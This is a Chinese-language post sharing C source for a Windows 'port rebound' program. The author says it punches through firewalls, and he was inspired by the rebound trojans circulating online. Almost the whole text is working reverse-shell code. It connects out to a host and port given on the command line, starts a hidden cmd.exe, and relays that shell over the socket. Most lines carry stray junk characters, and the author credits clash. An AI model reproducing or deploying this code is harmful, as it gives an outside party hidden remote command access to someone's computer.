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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 N ,+(>?yE  
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/* ============================== C>4UbU  
Rebound port in Windows NT k5wi'  
By wind,2006/7 4\\.n  
===============================*/ W,DZ ;). %  
#include WK*S4c  
#include pL! a  
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#pragma comment(lib,"wsock32.lib") Cw%BZ  
RE 9nU%!  
void OutputShell(); %Z7%jma  
SOCKET sClient; fSjs?zd`  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; l~rb]6E  
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void main(int argc,char **argv) Rnr#$C%  
{ +ZclGchw  
WSADATA stWsaData; "?P[9x}  
int nRet; b_|u<  
SOCKADDR_IN stSaiClient,stSaiServer; F;pQ\Y  
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if(argc != 3) , |l@j%  
{ jQ?LHUE  
printf("Useage:\n\rRebound DestIP DestPort\n"); #sZIDn J#  
return; 1+a@k  
} &Xv1[nByU  
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WSAStartup(MAKEWORD(2,2),&stWsaData); {\EOo-&A  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); MQJ%He"  
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stSaiClient.sin_family = AF_INET; 0yz~W(tsm  
stSaiClient.sin_port = htons(0); BRa{\R^I  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 9_UN.]  
+bUW!$G  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) -TTs.O8P|<  
{ =e{.yggE  
printf("Bind Socket Failed!\n"); r1;e 0\?`  
return; Yy hny[fa9  
} (UGol[f<  
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stSaiServer.sin_family = AF_INET; O:e#!C8^  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); [x5mPjgw  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); w4,]2Ccn.  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) w.uK?A>W,  
{ hg8Be6G <  
printf("Connect Error!"); DvYwCgLR  
return; s/t11;  
} 4-V)_U#8  
OutputShell(); +ubnx{VC  
} jgq{pZ#E  
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void OutputShell() 3;l"=#5  
{ M|8 3HTJ  
char szBuff[1024]; W Y:s gG  
SECURITY_ATTRIBUTES stSecurityAttributes; ('4wXD]C  
OSVERSIONINFO stOsversionInfo; h55>{)(E  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; MwAJ(  
STARTUPINFO stStartupInfo; 8teJ*sz  
char *szShell; .YR8v1Cp  
PROCESS_INFORMATION stProcessInformation; 'I v_mig  
unsigned long lBytesRead; 6,+nRiZ  
B |&F%P0:  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); #tDW!Xv?  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 5g>wV  
stSecurityAttributes.lpSecurityDescriptor = 0; CTp!di|  
stSecurityAttributes.bInheritHandle = TRUE; % O%xpSYr  
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\bold"  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); J633uH}}  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 7W|Zq6p i  
:gf;}  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 'zxoRc-b@N  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; oH X$k{6  
stStartupInfo.wShowWindow = SW_HIDE; ]Ik%#l.G_  
stStartupInfo.hStdInput = hReadPipe; /_*>d)  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; wa ky<w,  
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GetVersionEx(&stOsversionInfo); 5)M 2r!\  
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switch(stOsversionInfo.dwPlatformId) ~5 >[`)  
{ 55m<XC  
case 1: r~>,$[|n})  
szShell = "command.com"; 'N6 S}w7  
break; $r79n-  
default: !` 26\@1  
szShell = "cmd.exe"; y@;%Uv&  
break; O('Nn]wo~9  
} 10O$'`  
9/kXc4  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ;^3$kF  
; )llt G  
send(sClient,szMsg,77,0); Q9slfQ  
while(1)  g_q<ze  
{ cp%ii'  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); H;S%Y`V  
if(lBytesRead) |=5/Rax^  
{ 0+`Pg  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); hO( RZ '{  
send(sClient,szBuff,lBytesRead,0); *||d\peQ  
} g_z/{1$  
else t&}6;z 3  
{ A,#2^dR  
lBytesRead=recv(sClient,szBuff,1024,0); SaO3 zz@L  
if(lBytesRead<=0) break; {rXs:N@  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); E FY@Y[  
} o8ppMM8_R[  
} XUS vhr$|  
!#}7{  
return; O3qM1-k}S  
}
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